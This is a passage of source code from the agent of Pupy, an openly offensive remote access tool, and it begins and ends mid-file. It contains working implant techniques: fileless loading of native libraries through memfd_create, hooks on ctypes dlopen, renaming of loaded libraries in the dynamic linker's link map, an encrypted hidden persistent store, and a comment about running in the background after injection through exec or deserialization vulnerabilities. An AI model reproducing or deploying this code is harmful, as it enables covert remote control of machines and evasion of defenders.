    dprint("setting up hooks")
    pupy_hooks = make_module('pupy_hooks')
    setattr(pupy_hooks, "remote_load_package", None)
    setattr(pupy_hooks, "remote_print_error", None)

def setup_modules():
    global pupy_modules
    dprint("setting up modules")
    pupy_modules = make_module('pupy_modules')
    setattr(pupy_modules, "modules", {})


def prepare(argv=sys.argv, debug=False, config={}, stdlib=None):
    set_pupy_config(config)

    if config.get('debug', False):
        debug = True

    init_pupy(argv, stdlib, debug)

    dprint("Apply dl_hacks..")

    if "rustc" not in sys.version:
        from .dl_hacks import apply_dl_hacks
        apply_dl_hacks()
    setup_obtain()

    dprint("Register pupyimporter..")

    from pupy.agent.utils import register_pupyimporter
    register_pupyimporter()

    dprint("Prepare rest..")

    from .handlers import set_sighandlers
    from .ssl_hacks import apply_ssl_hacks
    from .psutil_hacks import apply_psutil_hacks

    from pupy.network.conf import load_network_modules

    set_sighandlers()
    apply_ssl_hacks()
    apply_psutil_hacks()
    load_memimporter_fallback()
    setup_credentials(config)
    setup_manager()
    load_network_modules()

    dprint("Prepare complete")


def main(argv=sys.argv, debug=False, config={}, stdlib=None):
    prepare(argv, debug, config, stdlib)

    from .service import run
    run(config)


================================================
FILE: pupy/agent/__main__.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals

import argparse
import sys
import os

from . import main
setattr(sys, '__pupy_main__', True)

root = os.path.dirname(os.path.dirname(__file__))

sys.path.extend((
    root, os.path.join(root, 'library_patches_py3')
))

sys.tracebacklimit = 50

import pupy.pupylib
assert(pupy.pupylib)

from pupy.network.conf import launchers

parser = argparse.ArgumentParser('pupy')
parser.add_argument(
    '--debug', action='store_true', default=False, help='Enable debug'
)
parser.add_argument(
    'launcher', choices=tuple(launchers), default='connect', help='Launcher'
)
parser.add_argument(
    'args', nargs=argparse.REMAINDER, help='Launcher args'
)

args = parser.parse_args()

main(config={
    'launcher': args.launcher,
    'launcher_args': args.args,
}, argv=[], debug=args.debug)

if __debug__:
    import threading
    for thread in threading.enumerate():
        print("> ALIVE:", thread, thread.daemon)
else:
    import platform

    if not platform.system() == 'android':
        if not hasattr(platform, 'pupy_thread'):
            # to allow pupy to run in background when imported or injected
            # through a python application exec/deserialization vulnerability
            t = threading.Thread(target=main)
            t.daemon = True
            t.start()
            setattr(platform, 'pupy_thread', t)


================================================
FILE: pupy/agent/_linux_memfd.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = (
    'memfd_create', 'memfd_is_supported'
)

try:
    from _pupy import (
        memfd_create, memfd_is_supported
    )

except ImportError:
    import os
    import sys
    import ctypes
    import platform

    import pupy.agent

    SELF = ctypes.CDLL(None)
    syscall = SELF.syscall


    def _get_nr_memfd_create_syscall():
        __NR_memfd_create_syscall = {
            'x86_64': 319,
            'i686': 356,
            'arm': 385,
        }

        machine = platform.machine()
        if machine.startswith('arm'):
            machine = 'arm'

        return __NR_memfd_create_syscall.get(machine, None)


    NR_memfd_create = _get_nr_memfd_create_syscall()


    def _memfd_create(name):
        return syscall(NR_memfd_create, name, 0x1)


    def memfd_is_supported():
        if not sys.platform.startswith('linux'):
            pupy.agent.dprint('memfd: disabled for non-linux')
            return False

        if platform.system() == 'Java':
            pupy.agent.dprint('memfd: disabled for jython')
            return False

        kv_maj, kv_min = platform.release().split('.')[:2]
        kv_maj = int(kv_maj)
        kv_min = int(kv_min)

        if kv_maj < 3:
            pupy.agent.dprint('memfd: kernel too old (maj < 3)')
            return False

        elif kv_maj == 3 and kv_min < 13:
            pupy.agent.dprint('memfd: kernel too old (maj == 3, min < 13)')
            return False

        if NR_memfd_create is None:
            pupy.agent.dprint('memfd: Syscall NR is not defined')
            return False

        fd = _memfd_create('probe')
        if fd == -1:
            pupy.agent.dprint('memfd: probe failed')
            return False

        try:
            supported = os.path.isfile(
                os.path.sep + os.path.join(
                'proc', 'self', 'fd', str(fd)))
            pupy.agent.dprint('memfd: supported={} (fd={})', supported, fd)

            return supported
        finally:
            os.close(fd)


    def memfd_create(name='heap'):
        fd = _memfd_create(name)
        if fd == -1:
            raise OSError('memfd_create failed')

        return os.fdopen(fd, 'wb'), os.path.sep + os.path.join(
            'proc', str(os.getpid()), 'fd', str(fd)
        )


================================================
FILE: pupy/agent/config.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import argparse
import sys

import pupy.agent

from pupy.network import conf
from pupy.network.lib.convcompat import shlex


def update_config_from_argv():
    if len(sys.argv) < 2:
        return

    parser = argparse.ArgumentParser(
        prog='pp.py',
        formatter_class=argparse.RawTextHelpFormatter,
        description="Starts a reverse connection to a Pupy server using the selected launcher\nLast sources: https://github.com/n1nj4sec/pupy\nAuthor: @n1nj4sec (contact@n1nj4.eu)\n")

    parser.add_argument(
        '--debug',
        action='store_true',
        help="increase verbosity")

    parser.add_argument(
        'launcher',
        choices=[
            x for x in conf.launchers],
        help="the launcher to use")

    parser.add_argument(
        'launcher_args',
        nargs=argparse.REMAINDER,
        help="launcher arguments")

    args = parser.parse_args()

    if args.debug:
        agent.config['debug'] = bool(args.debug)

    agent.config.update({
        'launcher': args.launcher,
        'launcher_args': shlex.split(' '.join(args.launcher_args))
    })


================================================
FILE: pupy/agent/dl_hacks.py
================================================
# -*- coding: utf-8 -*-

__all__ = ('apply_dl_hacks',)

import os
import sys
if not "rustc" in sys.version:
    import ctypes
else:
    ctypes=None
import pupy.agent as pupy

try:
    import ctypes.util
    have_ctypes_util = True
except ImportError:
    have_ctypes_util = False

have_ctypes_dlopen = hasattr(ctypes, '_dlopen')

NATIVE_LIB_PATTERNS = [
    'lib{}.so', '{}.so',
    'lib{}.pyd', '{}.pyd',
    'lib{}.dll', '{}.dll',
    'lib{}310.dll'
]


def _find_library(name):
    pupy.dprint('_find_library called: {} => {}', name)
    for pattern in NATIVE_LIB_PATTERNS:
        libname = pattern.format(name)
        try:
            return ctypes.CDLL(libname)
        except:
            pass
    pupy.dprint('library {} not found ...', name)


def _pupy_make_library_path(name):
    if not name:
        return

    if 'pupy:' in name:
        name = name[name.find('pupy:')+5:]
        name = os.path.relpath(name)
        name = '/'.join([
            x for x in name.split(os.path.sep) if x and x not in ('.', '..')
        ])

    return name


def _pupy_find_library(name):
    import pupy_modules
    pupyized = _pupy_make_library_path(name)
    if pupyized in pupy_modules.modules:
        pupy.dprint('FIND LIBRARY: {} => {}', name, pupyized)
        return pupyized
    else:
        return ctypes.util._system_find_library(name)


def _pupy_dlopen(name, *args, **kwargs):
    pupy.dprint('ctypes dlopen: {}', name)

    if name and name.startswith("exposed_"):
        pupy.dprint('_pupy_dlopen: RPYC hotpatch : renaming %s to %s'%(name, name[8:]))
        name=name[8:]

    name = _pupy_make_library_path(name)
    pupy.dprint(
        'ctypes dlopen / pupyized: {} (system {})',
        name, ctypes._system_dlopen)

    handle = pupy.load_dll(name)
    if handle:
        pupy.dprint(
            'ctypes dlopen / pupyized : {} found in-memory handle', name)
        return handle
    else:
        pupy.dprint('load_dll by name ({}) failed', name)

    return ctypes._system_dlopen(name, *args, **kwargs)


def apply_dl_hacks():
    if have_ctypes_dlopen:
        setattr(ctypes, '_system_dlopen', ctypes._dlopen)

    if have_ctypes_util:
        ctypes.util._system_find_library = ctypes.util.find_library

        if hasattr(ctypes.util, '_findLib_gcc'):
            ctypes.util._findLib_gcc = lambda name: None
    else:
        ctypes_util = pupy.make_module('ctypes.util')

        setattr(ctypes_util, '_system_find_library', _find_library)

    ctypes._dlopen = _pupy_dlopen
    ctypes.util.find_library = _pupy_find_library

    libpython = None

    if sys.platform == 'win32':
        try:
            libpython = ctypes.PyDLL('python310.dll')
        except WindowsError:
            pupy.dprint('python310.dll not found')
    else:
        for libname in (None, 'python310.so'):
            try:
                candidate = ctypes.PyDLL(libname)
            except OSError:
                continue

            if hasattr(candidate, '_Py_PackageContext'):
                libpython = candidate
                break

    if libpython is not None:
        pupy.dprint('Set ctypes.pythonapi to {}', libpython)
        ctypes.pythonapi = libpython


================================================
FILE: pupy/agent/handlers.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = ('set_sighandlers',)

import os
import signal

import pupy.agent as pupy


logger = pupy.get_logger('signals')


def _defered_close_exit(connection):
    logger.warning('Defered close+exit')

    logger.info('Terminating client')

    pupy.client.terminate()

    logger.info('Closing connection')
    if pupy.client.connection:
        pupy.client.connection.close()

    logger.info('Done')


def _handle_sigchld(*args, **kwargs):
    os.waitpid(-1, os.WNOHANG)


def _handle_sighup(*args):
    logger.debug('SIGHUP')


def _handle_sigterm(*args):
    logger.warning('SIGTERM')

    if pupy.manager:
        try:
            pupy.manager.event(pupy.Manager.TERMINATE)
        except Exception as e:
            logger.exception(e)

    try:
        # Should be the custom event, as generated on client
        pupy.broadcast_event(0x10000000 | 0xFFFF)
        logger.info('Event broadcasted')
    except Exception as e:
        logger.exception(e)

    if pupy.client.connection:
        pupy.client.connection.defer(
            logger.exception,
            _defered_close_exit,
            pupy.client.connection
        )
    else:
        _defered_close_exit(None)

    logger.warning('SIGTERM HANDLED')


def set_sighandlers():
    if hasattr(signal, 'SIGHUP'):
        try:
            signal.signal(signal.SIGHUP, _handle_sighup)
        except Exception as e:
            logger.exception(e)

    if hasattr(signal, 'SIGTERM'):
        try:
            signal.signal(signal.SIGTERM, _handle_sigterm)
        except Exception as e:
            logger.exception(e)

    if pupy.is_supported(pupy.set_exit_session_callback):
        try:
            pupy.set_exit_session_callback(_handle_sigterm)
        except Exception as e:
            logger.exception(e)


================================================
FILE: pupy/agent/logger.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

# This part executed from bootstrapped weak environment
# Can't use unicode here, because encodings are not loaded yet
# from __future__ import unicode_literals

__all__ = ('create_root_logger', 'enable_debug_logger')

from os import path, getpid
from time import time

import logging
import tempfile


def create_root_logger(loglevel=logging.WARNING):
    logging.basicConfig()
    root_logger = logging.getLogger()
    root_logger.setLevel(loglevel)

    return root_logger.getChild('pupy')


def enable_debug_logger(root_logger):
    root_logger.handlers = []

    log_file_path = path.join(
        tempfile.mkdtemp(prefix='pupy-'),
        'pupy-client-{}-{}-debug.log'.format(
            int(time()), getpid()))

    log_to_file = logging.FileHandler(log_file_path)
    log_to_file.setLevel(logging.DEBUG)
    log_to_file.setFormatter(
        logging.Formatter(
            '%(asctime)-15s|%(levelname)-5s|%(relativeCreated)6d|%(threadName)s|%(name)s| %(message)s'))

    log_to_con = logging.StreamHandler()
    log_to_con.setLevel(logging.DEBUG)
    log_to_con.setFormatter(logging.Formatter('%(asctime)-15s| %(message)s'))

    root_logger.addHandler(log_to_file)
    # root_logger.addHandler(log_to_con)
    root_logger.setLevel(logging.DEBUG)

    root_logger.info('LogFile: %s', log_file_path)

    return log_file_path


================================================
FILE: pupy/agent/manager.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('Task', 'Manager')

from threading import Thread, Event

import pupy.agent
import sys

if sys.version_info.major > 2:
    basestring = str


class Task(Thread):

    __slots__ = (
        '_pstore', '_stopped', '_manager', '_dirty', '_event_id'
    )

    stopped = None
    results_type = list
    event_id = None

    def __init__(self, manager, *args, **kwargs):
        Thread.__init__(self)

        self._event_id = kwargs.pop('event_id', self.event_id)

        self.daemon = True
        self._pstore = manager.pstore
        self._stopped = Event()

        if not self._pstore[self]:
            self._pstore[self] = self.results_type()

        self._manager = manager
        self._dirty = False

        pupy.agent.dprint('Create task {}', self.__class__.__name__)

    @property
    def name(self):
        return type(self).__name__

    @property
    def results(self):
        results = self._pstore[self]
        self._pstore[self] = self.results_type()
        self._dirty = False

        if isinstance(results, list):
            results = tuple(results)

        return results

    @property
    def dirty(self):
        return self._dirty

    def append(self, result):
        if issubclass(self.results_type, basestring):
            self._pstore[self] += result
        elif self.results_type == list:
            self._pstore[self].append(result)
        elif self.results_type == set:
            self._pstore[self].add(result)
        elif self.results_type == dict:
            self._pstore[self][result[0]] = result[1]
        else:
            raise TypeError(
                'Unknown results type: {}'.format(self.results_type)
            )

        fire_event = False

        if not self._dirty:
            fire_event = True

        self._dirty = True

        try:
            if fire_event and self._event_id is not None:
                self.broadcast_event(self._event_id)
        except:
            pupy.agent.remote_error('Task (append) error: {}', self.name)

    def broadcast_event(self, eventid, *args, **kwargs):
        pupy.agent.broadcast_event(eventid, *args, **kwargs)

    def stop(self):
        pupy.agent.dprint('Stopping task {}', self.__class__.__name__)

        if self._stopped and self.active:
            self._stopped.set()

    def run(self):
        pupy.agent.dprint('Task {} started', self.__class__.__name__)

        try:
            self.task()
        except:
            pupy.agent.remote_error('Task (run) error: {}', self.name)
        finally:
            pupy.agent.dprint('Task {} completed', self.__class__.__name__)

            if self._stopped:
                self._stopped.set()

    @property
    def active(self):
        if self._stopped is None:
            return False

        try:
            return not self._stopped.is_set()

        except:
            pupy.agent.remote_error('Task (active) error: {}', self.name)
            return False

    def event(self, event):
        pass


class Manager(object):
    TERMINATE = 0
    PAUSE = 1
    SESSION = 2

    __slots__ = ('tasks', 'pstore')

    def __init__(self, pstore):
        self.tasks = {}
        self.pstore = pstore

    def get(self, klass):
        name = klass.__name__
        return self.tasks.get(name)

    def create(self, klass, *args, **kwargs):
        name = klass.__name__
        if name not in self.tasks:
            try:
                task = klass(self, *args, **kwargs)
                task.start()
                self.tasks[name] = task
                return task

            except:
                pupy.agent.remote_error('Manager (create): {}', name)

    def stop(self, klass, force=False):
        name = klass.__name__
        if name in self.tasks:
            try:
                self.tasks[name].stop()
                del self.tasks[name]
            except:
                pupy.agent.remote_error('Manager (stop): {}', name)
                if force:
                    del self.tasks[name]

    def active(self, klass):
        name = klass.__name__
        if name in self.tasks:
            if not self.tasks[name].stopped:
                # Failed somewhere in the middle
                del self.tasks[name]
                return False

            return self.tasks[name].stopped.is_set()
        else:
            return False

    @property
    def dirty(self):
        return any(x.dirty for x in self.tasks.values())

    @property
    def status(self):
        return {
            name:{
                'active': task.active,
                'results': task.dirty,
            } for name,task in self.tasks.items()
        }

    def event(self, event):
        for task in self.tasks.values():
            try:
                task.event(event)
            except:
                pupy.agent.remote_error('Manager (event): {} evt={}', task.name, event)

        if event == self.TERMINATE:
            for task in self.tasks.values():
                try:
                    task.stop()
                except:
                    pupy.agent.remote_error(
                        'Manager (terminate): {} evt={}', task.name, event)

            self.pstore.store()


================================================
FILE: pupy/agent/memimporter/__init__.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

__all__ = ('import_module', 'load_dll')

import sys
if "rustc" in sys.version:
    from .posix import load_content
elif sys.platform.startswith('linux'):
    from .linux import load_content
elif sys.platform == 'win32':
    from .win32 import load_content
else:
    from .posix import load_content

from pupy.agent import get_logger


logger = get_logger('pymemimporter')


def import_module(data, initname, fullname, path, spec):
    import logging
    logger.setLevel(logging.DEBUG)
    logger.debug('Import module %s', fullname)
    try:
        return load_content(data, path, False, initname)
    except Exception as e:
        logger.exception(e)
        raise


def load_dll(name, data):
    logger.debug('Load dll %s', name)
    try:
        return load_content(data, name, True)
    except Exception as e:
        logger.exception(e)
        raise


================================================
FILE: pupy/agent/memimporter/linux.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('load_content',)


import os
import ctypes

from io import open

from pupy.agent._linux_memfd import (
    memfd_is_supported, memfd_create
)

from .utils import (
    load_library_common, find_writable_folder
)

from .posix import _does_dest_allows_executable_mappings


TMP_FOLDERS = ['/dev/shm', '/tmp', '/var/tmp']
RTLD_DI_LINKMAP = 2

SELF = ctypes.CDLL(None)

try:
    dlinfo = SELF.dlinfo
    dlinfo.argtypes = (
        ctypes.c_void_p, ctypes.c_int, ctypes.c_void_p
    )

except AttributeError:
    dlinfo = None

strdup = SELF.strdup
strdup.argtype = [ctypes.c_char_p]
strdup.restype = ctypes.c_char_p


try:
    for mount in open('/proc/self/mounts'):
        _, dest, fstype, opts, _, _ = mount.split()
        opts = tuple(opts.split(','))
        if 'noexec' in opts or 'ro' in opts:
            continue

        if 'tmpfs' in fstype and dest not in TMP_FOLDERS:
            TMP_FOLDERS.insert(0, dest)

except OSError:
    pass


class LibName(ctypes.Structure):
    _fields_ = (
        ('l_name', ctypes.c_char_p),
        ('next', ctypes.c_void_p),
        ('dont_free', ctypes.c_int)
    )


class DlMapPrivate(ctypes.Structure):
    _fields_ = (
        ('l_addr', ctypes.c_void_p),
        ('l_name', ctypes.c_char_p),
        ('l_ld', ctypes.c_void_p),
        ('l_next', ctypes.c_void_p),
        ('l_prev', ctypes.c_void_p),
        ('l_real', ctypes.c_void_p),
        ('l_ns', ctypes.c_long),
        ('l_libname', ctypes.POINTER(LibName)),
    )


def _change_dlname(lib, new_name):
    lm = ctypes.POINTER(DlMapPrivate)()
    if dlinfo(lib._handle, RTLD_DI_LINKMAP, ctypes.byref(lm)) != 0:
        raise ValueError('dlinfo({}) failed'.format(lib._handle))

    load_path = lib._name.encode('utf8')
    lib_name = os.path.basename(load_path)

    if lm.contents.l_ns != 0:
        raise ValueError('dlinfo: unexpected LMID: {}'.format(lm.contents.l_ns))

    if lm.contents.l_libname.contents.l_name != lib_name and \
            lm.contents.l_libname.contents.l_name != load_path:
        raise ValueError('dlinfo: unexpected library name: {} != {} (or {})'.format(
            lm.contents.l_libname.contents.l_name, lib_name, load_path))

    lm.contents.l_name = strdup(new_name)
    lm.contents.l_libname.contents.l_name = strdup(new_name)


if dlinfo is not None and memfd_is_supported():
    def load_content(content, name, dlopen=False, initfuncname=None):
        fd, filepath = memfd_create()
        try:
            return load_library_common(
                fd, filepath, content, name, dlopen, initfuncname,
                _change_dlname
            )
        finally:
            fd.close()

else:
    import tempfile

    DROP_DIR = find_writable_folder(
        TMP_FOLDERS, validate=_does_dest_allows_executable_mappings
    )

    def load_content(content, name, dlopen=False, initfuncname=None):
        fd, filepath = tempfile.mkstemp(dir=DROP_DIR)
        fobj = os.fdopen(fd, 'wb')
        try:
            return load_library_common(
                fobj, filepath, content, name, dlopen, initfuncname
            )
        finally:
            os.unlink(filepath)
            fobj.close()


================================================
FILE: pupy/agent/memimporter/posix.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = (
    '_does_dest_allows_executable_mappings',
    'load_content'
)


from os import unlink, fdopen
from tempfile import mkstemp
from mmap import mmap, PROT_WRITE
try:
    from mmap import PROT_EXEC
except:
    #mmap from rustc is missing PROT_EXEC ??
    PROT_EXEC=4

import pupy.agent as pupy

from .utils import load_library_common, find_writable_folder


def _does_dest_allows_executable_mappings(folder):
    try:
        fd, tmp_file = mkstemp(prefix='.so', dir=folder)
    except OSError as e:
        pupy.dprint('Folder {} is not accessible: {}', folder, e)
        return False

    try:
        fileobj = fdopen(fd, 'wb')
        fileobj.truncate(4096)
        mapping = mmap(fileobj.fileno(), 4096, prot=PROT_WRITE | PROT_EXEC)
        mapping.close()
        pupy.dprint('Folder {} does allows executables', folder)
        return True

    except IOError as e:
        pupy.dprint('Exception during mmap {}', e)
        return False

    except OSError as e:
        pupy.dprint('Folder {} does not allow executables: {}', folder, e)
        return False

    finally:
        try:
            unlink(tmp_file)
        except OSError:
            pass


DROP_DIR = find_writable_folder(
    ['/tmp', '/var/tmp'],
    validate=_does_dest_allows_executable_mappings
)


def load_content(content, name, dlopen=False, initfuncname=None):
    fd, filepath = mkstemp(dir=DROP_DIR)
    try:
        return load_library_common(
            fd, filepath, content, name, dlopen, initfuncname
        )
    finally:
        unlink(filepath)
        fd.close()


================================================
FILE: pupy/agent/memimporter/utils.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'package_context', 'find_writable_folder',
    'load_library_common', '_Py_PackageContext'
)

import sys
import importlib.util as imputil
if "rustc" not in sys.version:
    import ctypes
else:
    ctypes=None

from os import path
from tempfile import gettempdir

import pupy.agent

_Py_PackageContext = None


"""
try:
    _Py_PackageContext = ctypes.c_char_p.in_dll(
            ctypes.pythonapi, '_Py_PackageContext')
except ValueError:
    pupy.agent.dprint('_Py_PackageContext not found in pythonapi')
"""

class package_context(object):

    __slots__ = ('name', 'previous')

    def __init__(self, name):
        self.name = name
        self.previous = None

    def __enter__(self):
        if _Py_PackageContext is None:
            raise ValueError('_Py_PackageContext is not available')

        self.previous = _Py_PackageContext.value
        _Py_PackageContext.value = self.name

    def __exit__(self, exc_type, exc_value, exc_traceback):
        _Py_PackageContext.value = self.previous
        self.previous = None


def find_writable_folder(folders, validate=None):
    default_tmp = gettempdir()
    temporary_folders = tuple(folders)

    if default_tmp not in temporary_folders:
        temporary_folders += (default_tmp,)

    pupy.agent.dprint(
        'find_writable_folder: possible folders: {}',
        temporary_folders
    )

    for folder in temporary_folders:
        if not path.isdir(folder):
            continue

        if validate is None:
            return folder

        if validate(folder):
            return folder

    pupy.agent.dprint(
        'find_writable_folder: no folders found'
    )


def load_library_common(
    fd, filepath, content, name,
        dlopen=False, initfuncname=None, post_load_hook=None,
        close=False):

    r = fd.write(content)

    if close:
        fd.close()
    else:
        fd.flush()

    pupy.agent.dprint('load_library_common: Written {} to {}@{}: {} (closed={})'.format(
        len(content), name, filepath, r, close))

    if dlopen:
        handle = ctypes.CDLL(filepath)
        if post_load_hook:
            post_load_hook(handle, name)

        return handle

    if name.endswith(('.so', '.dll', '.pyd')):
        name = name.rsplit('.', 1)[0]

    module_name = name.split('.', 1)[-1]

    if initfuncname is None:
        initfuncname = 'PyInit_' + module_name.split("/")[-1]

    # use ExtensionFileLoader with memfd
    module_name = module_name.split("/")[-1]
    pupy.agent.dprint("loading {} with init {}", module_name, initfuncname)

    import importlib.machinery
    loader = importlib.machinery.ExtensionFileLoader(module_name, filepath)
    spec = importlib.machinery.ModuleSpec(name=module_name, loader=loader, origin=filepath)
    x=importlib._bootstrap._load(spec)
    pupy.agent.dprint(
        'load_dynamic({}, {}) -> {}', module_name, filepath, x)
    return x

    # this code does not work properly ?
    """ 
    try:
        lib = ctypes.PyDLL(filepath)
        pupy.agent.dprint('load_library_common: Library loaded: {}', lib)
    except Exception as e:
        pupy.agent.dprint('load_library_common: failed to load library {}: {}', name, e)
        lib = ctypes.CDLL(filepath)
        pupy.agent.dprint('load_library_common: Library loaded: {} (fallback CDLL)', lib)

    if post_load_hook:
        post_load_hook(lib, name)

    initfunc = getattr(lib, initfuncname, None)

    if initfunc:
        class PyModuleDef(ctypes.Structure):
            _fields_ = [
                ("m_base", ctypes.c_char_p),
                ("pfunc", ctypes.c_void_p),
            ]
        #initfunc.restypes = [ctypes.py_object]
        initfunc.restypes = [ctypes.POINTER(PyModuleDef)]
        initfunc.argtypes = []
        pupy.agent.dprint('load_library_common: init found: {}', initfuncname)
        #TODO: importlib.machinery.ExtensionFileLoader ??
        _PyImport_FixupExtensionObject = ctypes.pythonapi._PyImport_FixupExtensionObject
        _PyImport_FixupExtensionObject.argtypes=[ctypes.py_object, ctypes.py_object, ctypes.py_object, ctypes.py_object]
        _PyImport_FixupExtensionObject.restypes=[ctypes.c_int]

        PyImport_GetModuleDict = ctypes.pythonapi.PyImport_GetModuleDict
        PyImport_GetModuleDict.restypes = [ctypes.py_object]
        PyImport_GetModuleDict.argtypes = []

        PyUnicode_FromString = ctypes.pythonapi.PyUnicode_FromString
        PyUnicode_FromString.restypes = [ctypes.py_object]
        PyUnicode_FromString.argtypes = [ctypes.c_char_p]


        PyModule_GetDef = ctypes.pythonapi.PyModule_GetDef
        PyModule_GetDef.argtypes = [ctypes.py_object]
        PyModule_GetDef.restypes = [ctypes.POINTER(PyModuleDef)]


        #TODO : check if it's a def with PyModule_GetDef
        # https://docs.python.org/3/extending/building.html

        with package_context(module_name.encode('utf8')):
            pupy.agent.dprint(
                'load_library_common: call init {}@{}', initfuncname, module_name
            )
            m_ptr = initfunc()
            pupy.agent.dprint(
                'load_library_common: call init {}@{} - complete',
                initfuncname, module_name
            )
            pupy.agent.dprint('PyInit result: {}', m_ptr)

            #d = PyModule_GetDef(m_ptr)
            #pupy.agent.dprint('PyModule_GetDef result: {}', d)

            PyModuleDef_Init = ctypes.pythonapi.PyModuleDef_Init
            PyModuleDef_Init.restypes = [ctypes.py_object]
            PyModuleDef_Init.argtypes = [ctypes.py_object]

            PyModule_GetDef = ctypes.pythonapi.PyModule_GetDef
            PyModule_GetDef.argtypes = [ctypes.py_object]
            PyModule_GetDef.restypes = [ctypes.py_object]

            defmod = PyModuleDef_Init(m_ptr)
            pupy.agent.dprint('PyModuleDef_Init called: %s'%defmod)

            if defmod:
                PyModule_FromDefAndSpec = ctypes.pythonapi.PyModule_FromDefAndSpec2
                PyModule_FromDefAndSpec.argtypes = [ctypes.py_object, ctypes.py_object, ctypes.c_int]
                PyModule_FromDefAndSpec.restype = ctypes.py_object
                PyModule_ExecDef = ctypes.pythonapi.PyModule_ExecDef
                PyModule_ExecDef.argtypes = [ctypes.py_object, ctypes.c_void_p]
                PyModule_ExecDef.restypes = [ctypes.c_int]
                PyModule_GetState = ctypes.pythonapi.PyModule_GetState
                PyModule_GetState.argtypes = [ctypes.py_object]
                PyModule_GetState.restypes = [ctypes.c_void_p]

                import _imp
                import importlib.machinery
                spec = imputil.spec_from_loader(module_name, loader=None)
                pupy.agent.dprint('spec: {}', spec)
                module = _imp.create_dynamic(spec)#PyModule_FromDefAndSpec(defmod, spec, 1013)
                pupy.agent.dprint('PyModule_FromDefAndSpec2 result: {}', module)

                #    somehow, this is crashing ?? skiping this, not sure if it might cause issues
                _imp.exec_dynamic(module)
                #d=PyModule_GetDef(module)
                #s=PyModule_GetState(module)
                #pupy.agent.dprint('def: {} state: {}', d, s)
                #if not s:
                #    pupy.agent.dprint("executing PyModule_ExecDef ...")
                #    PyModule_ExecDef(module, d)
                #    pass

                pupy.agent.dprint('returning module !')
                return module

            name_ptr = PyUnicode_FromString(module_name.encode('utf8'))
            path_ptr = PyUnicode_FromString(module_name.encode('utf8'))

            modules_ptr = PyImport_GetModuleDict()
            res = _PyImport_FixupExtensionObject(m_ptr, name_ptr, path_ptr, modules_ptr)
            pupy.agent.dprint("result: _PyImport_FixupExtensionObject {}", res)
            if res < 0:
                raise ImportError("load_library_common: _PyImport_FixupExtensionObject failed")
    """
    



    return __import__(module_name)


================================================
FILE: pupy/agent/memimporter/win32.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
__all__ = (
    'load_content',
)


from tempfile import mkstemp
from os import unlink, fdopen
from errno import EACCES

import pupy.agent as pupy

from .utils import load_library_common, find_writable_folder


def _does_dest_allows_executable_mappings(folder):
    try:
        fd, tmp_file = mkstemp(
            suffix='.pyd', dir=folder)
    except OSError as e:
        pupy.dprint('Folder {} is not accessible: {}', folder, e)
        return False

    try:
        unlink(tmp_file)
    except OSError as e:
        pupy.dprint('Could not delete temporary file: {}', tmp_file, e)
        pass

    return True


DROP_DIR = find_writable_folder(
    ['/tmp', '/var/tmp'],
    validate=_does_dest_allows_executable_mappings
)


def load_content(content, name, dlopen=False, initfuncname=None):
    fd, filepath = mkstemp(suffix='.pyd', dir=DROP_DIR)
    fobj = fdopen(fd, 'wb')
    try:
        return load_library_common(
            fobj, filepath, content, name, dlopen, initfuncname,
            close=True
        )
    finally:
        try:
            unlink(filepath)
        except WindowsError as e:
            if e.errno == EACCES:
                pass


================================================
FILE: pupy/agent/pstore.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = ('PStore',)

import hashlib
import uuid
import os
import sys
import struct

if sys.version_info.major > 2:
    import pickle
else:
    import cPickle as pickle

import pupy.agent

from io import open

from pupy.network.lib.transports.cryptoutils import (
    NewAESCipher, append_PKCS7_padding,
    strip_PKCS7_padding
)


class PStore(object):

    __slots__ = (
        '_pstore_path', '_pstore_key', '_pstore'
    )

    def __init__(self, pstore_dir='~'):
        try:
            import getpass
            uid = getpass.getuser()
        except:
            if hasattr(os, 'getuid'):
                uid = os.getuid()
            else:
                uid = ''

        if not isinstance(uid, bytes):
            uid = uid.encode('latin1')

        seed = uid + b':' + struct.pack(
            '<Q', uuid.getnode()
        )

        h = hashlib.sha1()
        h.update(seed)

        if os.name == 'posix':
            if pstore_dir == '~':
                pstore_dir = os.path.join(pstore_dir, '.cache')
            pstore_name = '.{}'.format(h.hexdigest())
        else:
            if pstore_dir == '~':
                pstore_dir = os.path.join(
                    pstore_dir, 'AppData', 'Local', 'Temp'
                )
            pstore_name = h.hexdigest()

        self._pstore_path = os.path.expanduser(
            os.path.join(pstore_dir, pstore_name)
        )

        h = hashlib.sha1()
        h.update(b'password' + seed)

        self._pstore_key = (
            h.digest()[:16], b'\x00'*16
        )
        self._pstore = {}

        self.load()

    def __getitem__(self, key):
        if issubclass(type(key), object):
            key = type(key).__name__
        return self._pstore.get(key)

    def __setitem__(self, key, value):
        if issubclass(type(key), object):
            key = type(key).__name__
        self._pstore[key] = value

    def load(self):
        if not os.path.exists(self._pstore_path):
            return

        data = None
        try:
            with open(self._pstore_path, 'rb') as pstore:
                data = pstore.read()

            try:
                os.unlink(self._pstore_path)
            except:
                agent.remote_error('Pstore (load)')

            if not data:
                return

            data = NewAESCipher(*self._pstore_key).decrypt(data)
            data = strip_PKCS7_padding(data)
            data = pickle.loads(data)
        except:
